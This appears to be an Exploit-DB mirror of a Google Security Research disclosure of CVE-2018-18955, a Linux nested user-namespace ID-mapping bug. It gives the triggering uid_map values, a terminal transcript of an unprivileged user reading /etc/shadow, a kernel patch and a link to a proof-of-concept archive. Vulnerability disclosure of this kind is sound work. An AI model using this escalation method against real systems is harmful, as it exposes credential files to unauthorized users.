Linux – Broken uid/gid Mapping for Nested User Namespaces

  • 作者: Google Security Research
    日期: 2018-11-16
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  • 来源:https://www.exploit-db.com/exploits/45886/
  • commit 6397fac4915a ("userns: bump idmap limits to 340") increases the number of
    possible uid/gid mappings that a namespace can have from 5 to 340. This is
    implemented by switching to a different data structure if the number of mappings
    exceeds 5: Instead of linear search over an unsorted array of struct
    uid_gid_extent, binary search over a sorted array of struct uid_gid_extent is
    used. Because ID mappings are queried in both directions (kernel ID to
    namespaced ID and namespaced ID to kernel ID), two copies of the array are
    created, one per direction, and they are sorted differently.
    
    In map_write(), at first, during the loop that calls insert_extent(), the member
    lower_first of each struct uid_gid_extent contains an ID in the parent
    namespace. Later, map_id_range_down() is used in a loop to replace these IDs in
    the parent namespace with kernel IDs.
    
    The problem is that, when the two sorted arrays are used, the new code omits the
    ID transformation for the kernel->namespaced mapping; only the
    namespaced->kernel mapping is transformed appropriately.
    
    This means that if you first, from the init namespace, create a user namespace
    NS1 with the following uid_map:
    
    0 100000 1000
    
    and then, from NS1, create a nested user namespace NS2 with the following
    uid_map:
    
    0 0 1
    1 1 1
    2 2 1
    3 3 1
    4 4 1
    5 5 995
    
    then make_kuid(NS2, ...) will work properly, but from_kuid(NS2) will be an
    identity mapping for UIDs in the range 0..1000.
    
    Most users of from_kuid() are relatively boring, but kuid_has_mapping() is used
    in inode_owner_or_capable() and privileged_wrt_inode_uidgid(); so you can abuse
    this to gain the ability to override DAC security controls on files whose IDs
    aren't mapped in your namespace.
    
    
    To test this, I installed the "uidmap" package in a Ubuntu 18.04 VM with the
    following /etc/subuid and /etc/subgid:
    
    user@ubuntu-18-04-vm:~$ cat /etc/subuid
    user:100000:65536
    user2:165536:65536
    user3:231072:65536
    user@ubuntu-18-04-vm:~$ cat /etc/subgid
    user:100000:65536
    user2:165536:65536
    user3:231072:65536
    user@ubuntu-18-04-vm:~$
    
    
    Then, as the user "user", I compiled the two attached helpers (subuid_shell.c
    and subshell.c):
    
    user@ubuntu-18-04-vm:~/userns_4_15$ gcc -o subuid_shell subuid_shell.c
    user@ubuntu-18-04-vm:~/userns_4_15$ gcc -o subshell subshell.c
    
    subuid_shell.c uses the newuidmap helper to set up a namespace that maps 1000
    UIDs starting at 100000 to the namespaced UID 0; subshell.c requires namespaced
    CAP_SYS_ADMIN and creates a user namespace that maps UIDs 0-999, using six
    extents.
    
    I used them as follows to read /etc/shadow:
    
    user@ubuntu-18-04-vm:~/userns_4_15$ id
    uid=1000(user) gid=1000(user) groups=1000(user),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),116(lpadmin),126(sambashare)
    user@ubuntu-18-04-vm:~/userns_4_15$ ls -l /etc/shadow
    -rw-r----- 1 root shadow 1519 Jul4 16:11 /etc/shadow
    user@ubuntu-18-04-vm:~/userns_4_15$ head -n1 /etc/shadow
    head: cannot open '/etc/shadow' for reading: Permission denied
    user@ubuntu-18-04-vm:~/userns_4_15$ ./subuid_shell 
    root@ubuntu-18-04-vm:~/userns_4_15# id
    uid=0(root) gid=0(root) groups=0(root),65534(nogroup)
    root@ubuntu-18-04-vm:~/userns_4_15# cat /proc/self/uid_map
     0 100000 1000
    root@ubuntu-18-04-vm:~/userns_4_15# ls -l /etc/shadow
    -rw-r----- 1 nobody nogroup 1519 Jul4 16:11 /etc/shadow
    root@ubuntu-18-04-vm:~/userns_4_15# head -n1 /etc/shadow
    head: cannot open '/etc/shadow' for reading: Permission denied
    root@ubuntu-18-04-vm:~/userns_4_15# ./subshell 
    nobody@ubuntu-18-04-vm:~/userns_4_15$ id
    uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),116(lpadmin),126(sambashare)
    nobody@ubuntu-18-04-vm:~/userns_4_15$ cat /proc/self/uid_map
     001
     111
     221
     331
     441
     55995
    nobody@ubuntu-18-04-vm:~/userns_4_15$ ls -l /etc/shadow
    -rw-r----- 1 root shadow 1519 Jul4 16:11 /etc/shadow
    nobody@ubuntu-18-04-vm:~/userns_4_15$ head -n1 /etc/shadow
    root:!:17696:0:99999:7:::
    nobody@ubuntu-18-04-vm:~/userns_4_15$ 
    
    
    Here is a suggested patch (copy attached to avoid whitespace issues); does this
    look sensible?
    
    ==================
    From 20598025d5e80f26a0c4306ebeca14b31539bd97 Mon Sep 17 00:00:00 2001
    From: Jann Horn <jannh@google.com>
    Date: Mon, 5 Nov 2018 20:55:09 +0100
    Subject: [PATCH] userns: also map extents in the reverse map to kernel IDs
    
    The current logic first clones the extent array and sorts both copies, then
    maps the lower IDs of the forward mapping into the lower namespace, but
    doesn't map the lower IDs of the reverse mapping.
    
    This means that code in a nested user namespace with >5 extents will see
    incorrect IDs. It also breaks some access checks, like
    inode_owner_or_capable() and privileged_wrt_inode_uidgid(), so a process
    can incorrectly appear to be capable relative to an inode.
    
    To fix it, we have to make sure that the "lower_first" members of extents
    in both arrays are translated; and we have to make sure that the reverse
    map is sorted *after* the translation (since otherwise the translation can
    break the sorting).
    
    This is CVE-2018-18955.
    
    Fixes: 6397fac4915a ("userns: bump idmap limits to 340")
    Cc: stable@vger.kernel.org
    Signed-off-by: Jann Horn <jannh@google.com>
    ---
     kernel/user_namespace.c | 12 ++++++++----
     1 file changed, 8 insertions(+), 4 deletions(-)
    
    diff --git a/kernel/user_namespace.c b/kernel/user_namespace.c
    index e5222b5fb4fe..923414a246e9 100644
    --- a/kernel/user_namespace.c
    +++ b/kernel/user_namespace.c
    @@ -974,10 +974,6 @@ static ssize_t map_write(struct file *file, const char __user *buf,
    if (!new_idmap_permitted(file, ns, cap_setid, &new_map))
    goto out;
     
    - ret = sort_idmaps(&new_map);
    - if (ret < 0)
    - goto out;
    -
    ret = -EPERM;
    /* Map the lower ids from the parent user namespace to the
     * kernel global id space.
    @@ -1004,6 +1000,14 @@ static ssize_t map_write(struct file *file, const char __user *buf,
    e->lower_first = lower_first;
    }
     
    + /*
    +* If we want to use binary search for lookup, this clones the extent
    +* array and sorts both copies.
    +*/
    + ret = sort_idmaps(&new_map);
    + if (ret < 0)
    + goto out;
    +
    /* Install the map */
    if (new_map.nr_extents <= UID_GID_MAP_MAX_BASE_EXTENTS) {
    memcpy(map->extent, new_map.extent,
    -- 
    2.19.1.930.g4563a0d9d0-goog
    ==================
    
    
    (By the way: map_id_up_max() is probably pretty inefficient, especially when
    retpoline mitigations are on, because it uses bsearch(), which is basically a
    little bit of logic glue around indirect function calls. If you care about
    speed, you might want to add an inline variant of bsearch() for places like
    this.)
    
    
    Proof of Concept:
    https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/45886.zip